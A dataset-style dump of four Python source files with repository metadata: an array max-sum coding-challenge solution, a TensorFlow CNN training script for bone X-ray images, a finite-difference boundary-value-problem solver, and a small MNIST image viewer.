5da615bcc36f2e359d5a12aac4d401a12f9cf241
|
0a3d71624f104e2a4ca3341988b15ac4e5e40b1b
|
/Coding_Challenge/Arrays/pickFromBothSides.py
|
de0dabf44c28a9fb3b05b841c540c5a0eb6b4d7f
|
[] |
no_license
|
LD1016/Data-Structures-and-Algorithms
|
b6f72735e3280fd0ed457bde665614a1da78756c
|
9087d926f750bdea448579a56e82496c280d9242
|
refs/heads/main
| 2023-03-22T03:12:18.654731
| 2021-03-18T07:10:30
| 2021-03-18T07:10:30
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,334
|
py
|
"""
Given an integer array A of size N.
You can pick B elements from either left or right end of the array A to get maximum sum.
Find and return this maximum possible sum.
NOTE: Suppose B = 4 and array A contains 10 elements then:
You can pick first four elements or can pick last four elements or can pick 1 from front and 3 from back etc . you need to return the maximum possible sum of elements you can pick.
Problem Constraints
1 <= N <= 105
1 <= B <= N
-103 <= A[i] <= 103
Input Format
First argument is an integer array A.
Second argument is an integer B.
Output Format
Return an integer denoting the maximum possible sum of elements you picked.
Example Input
Input 1:
A = [5, -2, 3 , 1, 2]
B = 3
Input 2:
A = [1, 2]
B = 1
Example Output
Output 1:
8
Output 2:
2
Example Explanation
Explanation 1:
Pick element 5 from front and element (1, 2) from back so we get 5 + 1 + 2 = 8
Explanation 2:
Pick element 2 from end as this is the maximum we can get
"""
class Solution:
def solve(self, A, B):
maxVal = 0
for i in range(B):
maxVal += A[i]
cur = maxVal
i = 0
while i < B:
cur = cur - A[B-1-i] + A[len(A)-1-i]
maxVal = max(cur, maxVal)
i += 1
return maxVal
test = Solution()
print(test.solve([5, -2, 3, 1, 2], 3))
|
[
"lancedang@Lances-MacBook-Pro.local"
] |
lancedang@Lances-MacBook-Pro.local
|
ad8427a59154bcb1575bed1b77b319a6f99a58da
|
8b6eeff24db9fb119f7f543ae6163f766fb715e6
|
/train.py
|
516d2c06392454eec537670a1ca76f5c87545068
|
[] |
no_license
|
dalmouiee/comp9417
|
e1d003aee888a073ed3da46081206ee65ecaaf91
|
486498c06c25fc386458fff7e304f8809c0f7c2f
|
refs/heads/master
| 2022-01-31T10:13:07.306605
| 2019-08-08T02:56:14
| 2019-08-08T02:56:14
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 11,035
|
py
|
import math, random, os, sys, time, glob, cv2
import tensorflow as tf
import numpy as np
from sklearn.utils import shuffle
import matplotlib.pyplot as plt
from numpy import array
# Hyperparameters
batchSize = 16
imageSize = 64
numChannels = 3
categories = ['positive', 'negative']
def createPlaceholders():
x = tf.placeholder(tf.float32, shape=[None, imageSize, imageSize, numChannels], name='x')
y = tf.placeholder(tf.float32, shape=[None, len(categories)], name='y')
yClasses = tf.argmax(y, dimension=1)
return x, y, yClasses
# Network parameters
filter_size_conv1 = 3
num_filters_conv1 = 32
filter_size_conv2 = 3
num_filters_conv2 = 32
filter_size_conv3 = 3
num_filters_conv3 = 64
filter_size_conv4 = 3
num_filters_conv4 = 32
filter_size_conv5 = 3
num_filters_conv5 = 64
fc_layer_size = 128
def preprocessImages(trainingPath):
images = []
labels = []
img_names = []
print('Processing training images:------------------')
'''for bp in bodyParts:
print("----------------- Reading Body Part: " + bp)
patients = os.listdir(trainingPath + "/" + bp)'''
for fields in categories:
index = categories.index(fields)
print('Now going to read {} files (Index: {})'.format(fields, index))
path = os.path.join(trainingPath, fields, '*g')
files = glob.glob(path)
for fl in files:
image = cv2.imread(fl)
image = cv2.resize(image, (imageSize, imageSize),0,0, cv2.INTER_LINEAR)
image = image.astype(np.float32)
image = np.multiply(image, 1.0 / 255.0)
images.append(image)
label = np.zeros(len(categories))
label[index] = 1.0
labels.append(label)
flbase = os.path.basename(fl)
img_names.append(flbase)
images = np.array(images)
labels = np.array(labels)
img_names = np.array(img_names)
imagesList, labelsList, namesList = shuffle(images, labels, img_names)
return imagesList, labelsList, namesList
# Fix shuffling function for these
def makeTrainSet(images, labels, names, validationSize):
imagesList = images[validationSize:]
labelsList = labels[validationSize:]
namesList = names[validationSize:]
#imagesList, labelsList, namesList = shuffle(imagesList, labelsList, namesList)
return imagesList, labelsList, namesList
def makeValidationSet(images, labels, names, validationSize):
imagesList = images[:validationSize]
labelsList = labels[:validationSize]
namesList = names[:validationSize]
#imagesList, labelsList, namesList = shuffle(imagesList, labelsList, namesList)
return imagesList, labelsList, namesList
def getNewBatch(set, bound, booly):
xBatch = set[0]
yBatch = set[1]
newBound = bound + batchSize
if booly == 0:
booly = set[0]
else:
booly = set[1]
if newBound > len(booly):
newBound = newBound % len(set[0])
return (xBatch[bound:]), (yBatch[bound:])
else:
return xBatch[bound:newBound], yBatch[bound:newBound]
def updateBounds(trainingBound, trainingSet, validBound, validationSet):
if trainingBound > len(trainingSet[0]):
trainingBound = (trainingBound + batchSize) % len(trainingSet[0])
else:
trainingBound += batchSize
if validBound > len(validationSet[0]):
validBound = (validBound + batchSize) % len(validationSet[0])
else:
validBound += batchSize
return trainingBound, validBound
def fixClassLabel(className):
if "negative" in className:
className = "negative"
else:
className = "positive"
return className
# Convolutional neural netowrk layer
def create_convolutional_layer(input, num_input_channels, conv_filter_size, num_filters):
weights = tf.Variable(tf.truncated_normal([conv_filter_size, conv_filter_size, num_input_channels, num_filters],
stddev=0.05))
biases = tf.Variable(tf.constant(0.05, shape=[num_filters]))
## Creating the convolutional layer
layer = tf.nn.conv2d(input=input, filter=weights, strides=[1, 1, 1, 1], padding='SAME')
layer += biases
## Max-pooling.
layer = tf.nn.max_pool(value=layer, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')
## Relu: activation function
layer = tf.nn.relu(layer)
return layer
def create_flatten_layer(layer):
# Shape of the layer will be [batch_size img_size img_size num_channels]
# Get it from the previous layer.
layer_shape = layer.get_shape()
## Number of features will be img_height * img_width* num_channels.
num_features = layer_shape[1:4].num_elements()
## Flatten the layer so we shall have to reshape to num_features
layer = tf.reshape(layer, [-1, num_features])
return layer
# Fully-connected layer
def create_fc_layer(input,
num_inputs,
num_outputs,
use_relu=True):
# Define trainable weights and biases
weights = tf.Variable(tf.truncated_normal([num_inputs, num_outputs], stddev=0.05))
biases = tf.Variable(tf.constant(0.05, shape=[num_outputs]))
# Fully connected layer takes input x and produces wx+b.
layer = tf.matmul(input, weights) + biases
if use_relu:
layer = tf.nn.relu(layer)
return layer
def show_progress(session, epoch, feed_dict_train, feed_dict_validate, val_loss, accuracy,
merged, train_writer, test_writer, i):
msg = "Training Epoch {0} --- Training Accuracy: {1:>6.1%}, Validation Accuracy: {2:>6.1%}, Validation Loss: {3:.3f}"
summary_train, acc = session.run([merged, accuracy], feed_dict=feed_dict_train)
if math.isnan(acc):
return
train_writer.add_summary(summary_train, i)
summary_test, val_acc = session.run([merged, accuracy], feed_dict=feed_dict_validate)
if math.isnan(val_acc):
return
test_writer.add_summary(summary_test, i)
print(msg.format(epoch + 1, acc, val_acc, val_loss))
#val_acc = session.run(accuracy, feed_dict=feed_dict_validate)
def train(session, saver, trainingSet, validationSet, optimiser, cost, accuracy, merged, trainWriter,
testWriter, num_iteration, x, y):
total_iterations = 0
trainingBound = 0
validBound = 0
for i in range(total_iterations,
total_iterations + num_iteration):
# Get next batch in sets and assign them
x_batch, y_true_batch = getNewBatch(trainingSet, trainingBound, 0)
x_valid_batch, y_valid_batch = getNewBatch(validationSet, validBound, 1)
# make sure bounds dont overflow
trainingBound, validBound = updateBounds(trainingBound, trainingSet, validBound, validationSet)
# feed training and validation batchs
feed_dict_tr = {x: x_batch, y: y_true_batch}
feed_dict_val = {x: x_valid_batch, y: y_valid_batch}
# run training algo
session.run(optimiser, feed_dict=feed_dict_tr)
if i % 20 == 0:
val_loss = session.run(cost, feed_dict=feed_dict_val)
epoch = int(i/10)
show_progress(session, epoch, feed_dict_tr, feed_dict_val, val_loss,
accuracy, merged, trainWriter, testWriter, i)
saver.save(session, './modelCheckpoints/MURA-model')
total_iterations += num_iteration
def main():
# Path to training set: ("MURA-v1.1\train")
trainingPath = sys.argv[1]
# preprocess images by reading from directory using CV2
images, labels, img_names = preprocessImages(trainingPath)
# 10% of images for validation
validationSize = int(0.25*len(images))
# List holds
# 1) List of images
# 2) List of Labels
# 3) List of Image names
# in order for each image processed
trainingSet = makeTrainSet(images, labels, img_names, validationSize) #['images','labels','imgnames']
validationSet = makeValidationSet(images, labels, img_names, validationSize) #['images','labels','imgnames']
#data = dataset.read_train_sets(train_path, img_size)
print("Number of files in Training-set:\t\t{}".format(len(trainingSet[1])))
print("Number of files in Validation-set:\t{}".format(len(validationSet[1])))
x, y, yClasses = createPlaceholders()
layer_conv1 = create_convolutional_layer(input=x,
num_input_channels=numChannels,
conv_filter_size=filter_size_conv1,
num_filters=num_filters_conv1)
layer_conv2 = create_convolutional_layer(input=layer_conv1,
num_input_channels=num_filters_conv1,
conv_filter_size=filter_size_conv2,
num_filters=num_filters_conv2)
layer_conv3= create_convolutional_layer(input=layer_conv2,
num_input_channels=num_filters_conv2,
conv_filter_size=filter_size_conv3,
num_filters=num_filters_conv3)
layer_flat = create_flatten_layer(layer_conv3)
layer_fc1 = create_fc_layer(input=layer_flat,
num_inputs=layer_flat.get_shape()[1:4].num_elements(),
num_outputs=fc_layer_size,
use_relu=True)
layer_fc2 = create_fc_layer(input=layer_fc1,
num_inputs=fc_layer_size,
num_outputs=len(categories),
use_relu=False)
y_pred = tf.compat.v1.nn.softmax(layer_fc2,name='y_pred')
y_pred_cls = tf.compat.v1.argmax(y_pred, dimension=1)
session = tf.Session()
session.run(tf.global_variables_initializer())
crossEntropy = tf.nn.softmax_cross_entropy_with_logits_v2(logits=layer_fc2, labels=y)
cost = tf.reduce_mean(crossEntropy)
tf.summary.scalar('cost',cost)
optimiser = tf.compat.v1.train.AdamOptimizer(learning_rate=1e-4).minimize(cost)
correctPrediction = tf.equal(y_pred_cls, yClasses)
accuracy = tf.reduce_mean(tf.cast(correctPrediction, tf.float32))
tf.summary.scalar('accuracy',accuracy)
merged = tf.compat.v1.summary.merge_all()
trainWriter = tf.compat.v1.summary.FileWriter('summary/train', session.graph)
testWriter = tf.compat.v1.summary.FileWriter('summary/test')
session.run(tf.global_variables_initializer())
saver = tf.compat.v1.train.Saver()
# 4000 magic number best performance on my pc, but on different devices this number changes...
train(session, saver, trainingSet, validationSet, optimiser, cost, accuracy, merged,
trainWriter, testWriter , 4000, x, y)
# Following 2 methods from the tutorial:
# https://medium.com/@awjuliani/visualizing-neural-network-layer-activation-tensorflow-tutorial-d45f8bf7bbc4
def getActivations(layer,stimuli):
units = session.run(layer,feed_dict={x:array(stimuli).reshape(1, imageSize,imageSize,numChannels)})
plotNNFilter(units)
def plotNNFilter(units):
filters = units.shape[3]
plt.figure(1, figsize=(20,20))
n_columns = 6
n_rows = math.ceil(filters / n_columns) + 1
for i in range(filters):
plt.subplot(n_rows, n_columns, i+1)
plt.title('Filter ' + str(i))
plt.imshow(units[0,:,:,i], interpolation="nearest", cmap="gray")
plt.show()
imageToUse = trainingSet[0][0]
plt.imshow(imageToUse, interpolation="nearest", cmap="gray")
plt.show()
getActivations(layer_conv3,imageToUse)
############################
# START OF PROGRAM
main()
|
[
"d.almouiee@gmail.com"
] |
d.almouiee@gmail.com
|
faeb48b3793e096e48d2d4c9726e6dd1be41a601
|
2f732dbfcc1932b5ef043c135fb1c2c7b2fe0d02
|
/BVP.py
|
be030c9f2aeea447cc2d801b43df815a3a4dc4d4
|
[] |
no_license
|
Jafaranafi/NEWTON_AIMSCMR1920
|
b6d849e36ec5a25786a16dc37707ed7bd16b7525
|
af26595f1ca9693fd7d391712576b6a6d0688764
|
refs/heads/master
| 2022-11-17T04:37:28.555514
| 2020-06-17T23:34:23
| 2020-06-17T23:34:23
| 256,739,570
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 6,280
|
py
|
import numpy as np
from scipy.sparse import spdiags
from scipy.sparse.linalg import spsolve, norm
def Bvp_DD(fcn, a, b, ua, ub, Nx):
"""
Solution of 1D boundary value problem
-u" = fcn(x) for a < x < b
with Dirichlet boundary conditions
u(a) = ua, u(b) = ub.
on a uniform mesh
"""
L = b-a # length of the domain
dx = float(L)/float(Nx) # length of the grid cell
x = np.linspace(a, b, Nx+1) # the grid
u = np.zeros(Nx+1) # the solution
# The sparse matrix
dia = 2*np.ones(Nx-1) / dx**2
low = -np.ones(Nx-1) / dx**2
upp = -np.ones(Nx-1) / dx**2
A = spdiags([low,dia,upp],[-1,0,1],Nx-1,Nx-1)
# print(A.todense())
# evaluate right hand side
rhs = np.zeros(Nx-1) # the right hand side
for j in range(Nx-1):
rhs[j] = fcn(x[j+1])
rhs[0] -= low[0]*ua
rhs[-1] -= upp[-1]*ub
# solve the linear system
u[0], u[-1] = ua, ub
u[1:-1] = spsolve(A, rhs)
print(u)
# return the grid and the numerical solution
return u, x
def Bvp_DN(fcn, a, b, ua, ub, Nx):
"""
Solution of 1D boundary value problem
-u" = fcn(x) for a < x < b
with mixed boundary conditions
u(a) = ua, u'(b) = 0.
on a uniform mesh
"""
L = b-a # length of the domain
dx = float(L)/float(Nx) # length of the grid cell
x = np.linspace(a, b, Nx+1) # the grid
u = np.zeros(Nx+1) # the solution
# The sparse matrix
dia = 2*np.ones(Nx) / dx**2
low = -np.ones(Nx) / dx**2
upp = -np.ones(Nx) / dx**2
low[-2] = -2 / dx**2 # correct for left BC
A = spdiags([low,dia,upp],[-1,0,1],Nx,Nx)
# print(A.todense())
# evaluate right hand side
rhs = np.zeros(Nx) # the right hand side
for j in range(Nx):
rhs[j] = fcn(x[j+1])
rhs[0] -= low[0]*ua # eliminate left BC
# solve the linear system
u[0] = ua # set left BC
u[1:] = spsolve(A, rhs)
# return the grid and the numerical solution
return u, x
def Bvp_ND(fcn, a, b, ua, ub, Nx):
"""
Solution of 1D boundary value problem
-u" = fcn(x) for a < x < b
with mixed boundary conditions
u'(a) = 0, u(b) = 0.
on a uniform mesh
"""
L = b-a # length of the domain
dx = float(L)/float(Nx) # length of the grid cell
x = np.linspace(a, b, Nx+1) # the grid
u = np.zeros(Nx+1) # the solution
# The sparse matrix
dia = 2*np.ones(Nx) / dx**2
low = -np.ones(Nx) / dx**2
upp = -np.ones(Nx) / dx**2
upp[1] = -2 / dx**2 # correct for right BC
A = spdiags([low,dia,upp],[-1,0,1],Nx,Nx)
# print(A.todense())
# evaluate right hand side
rhs = np.zeros(Nx) # the right hand side
for j in range(Nx):
rhs[j] = fcn(x[j])
rhs[-1] -= upp[0]*ub # eliminate right BC
# solve the linear system
u[-1] = ub # set right BC
u[:-1] = spsolve(A, rhs)
# return the grid and the numerical solution
return u, x
def demo_DD():
Nx = 10 # Nx = number of grid cells,
# Nx+1 = number of grid points
a = -1. # a = left end of the domain
b = +1. # b = right end of the domain
ua =-.5 # boundary value left side
ub = .5 # boundary value right side
def fcn(x):
return 5*x
def exact(x):
return x*(-5*x**2 + 8)/6
import time
t0 = time.clock()
u,x = Bvp_DD(fcn, a, b, ua, ub, Nx)
t1 = time.clock()
print('cpu time',t1-t0)
# compute the error norm
from scipy.linalg import norm
print('approximation error', abs(norm(u-exact(x))))
xx = np.linspace(a,b)
sol = exact(xx)
# generate a plot of the solution
import matplotlib.pyplot as plt
plt.plot(x,u,'bo-', linewidth=.5)
plt.plot(xx,sol,'r-')
plt.title('numerical solution')
plt.grid()
plt.show()
def demo_DN():
Nx = 20 # Nx = number of grid cells,
# Nx+1 = number of grid points
a = -1. # a = left end of the domain
b = +1. # b = right end of the domain
ua = .5 # boundary value left side
ub = .0 # boundary value right side
def fcn(x):
return 5*x
def exact(x):
return (5*x*(3 - x**2) + 13.)/6.
import time
t0 = time.clock()
u,x = Bvp_DN(fcn, a, b, ua, ub, Nx)
t1 = time.clock()
print('cpu time',t1-t0)
# compute the error norm
from scipy.linalg import norm
print('approximation error', abs(norm(u-exact(x))))
xx = np.linspace(a,b)
sol = exact(xx)
print('abs point error at x=1:',abs(sol[-1] - u[-1]))
print(exact(-1))
print(exact(+1),23/6.)
# generate a plot of the solution
import matplotlib.pyplot as plt
plt.figure(figsize=(8,6))
line1 = plt.plot(x,u,'--.')
plt.setp(line1, linewidth=.5, color='blue')
plt.plot(xx,sol,'r-')
plt.title('numerical solution: $-u^{\prime\prime} = 5x, u(-1) = .5, u^{\prime}(1) = 0$.')
plt.grid()
plt.show()
def demo_ND():
Nx = 20 # Nx = number of grid cells,
# Nx+1 = number of grid points
a = -1. # a = left end of the domain
b = +1. # b = right end of the domain
ua = .0 # boundary value left side
ub = .5 # boundary value right side
def fcn(x):
return 5*x
def exact(x):
return (5*x*(3 - x**2) - 13.)/6. + 1.
import time
t0 = time.clock()
u,x = Bvp_ND(fcn, a, b, ua, ub, Nx)
t1 = time.clock()
print('cpu time',t1-t0)
# compute the error norm
from scipy.linalg import norm
print('approximation error', abs(norm(u-exact(x))))
xx = np.linspace(a,b)
sol = exact(xx)
print('abs point error at x=-1:',abs(sol[0] - u[0]))
# generate a plot of the solution
import matplotlib.pyplot as plt
plt.figure(figsize=(8,6))
line1 = plt.plot(x,u,'--.')
plt.setp(line1, linewidth=.5, color='blue')
plt.plot(xx,sol,'r-')
plt.title('numerical solution: $-u^{\prime\prime} = 5x, u^{\prime}(-1) = 0, u(1) = -.5$')
plt.grid()
plt.show()
if __name__ == '__main__':
demo_DD()
demo_DN()
demo_ND()
|
[
"noreply@github.com"
] |
Jafaranafi.noreply@github.com
|
02f13b4e97361be88fb47c40bc0c2c77d644194f
|
d0289b1670fc11e8e5233d6ae87ebda301e313aa
|
/test_mnist.py
|
67bf603f772f47d660f79e5d5a5de77d0741b130
|
[] |
no_license
|
Jthon/wgan-gp
|
201f03d1d649756555a65c6c2d6266b5c92352b5
|
605dc6675f06a48f0161d5e1da813bdef365f3b9
|
refs/heads/master
| 2022-06-14T06:00:51.764708
| 2020-05-07T04:38:53
| 2020-05-07T04:38:53
| 261,795,496
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 509
|
py
|
import load_mnist
import config as cfg
import numpy as np
import cv2
mnist_dataset=load_mnist.MNIST(cfg.params["mnist_image"],cfg.params["mnist_label"])
for i in range(0,mnist_dataset.datanum):
signal=False
print("num=%d"%int(mnist_dataset.labels[i]))
while True:
key=cv2.waitKey(5)
if key==13:
break
if key==27:
signal=True
break
cv2.imshow("image",np.array(mnist_dataset.images[i],np.uint8))
if signal==True:
break
|
[
"henrycai0909@gmail.com"
] |
henrycai0909@gmail.com
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.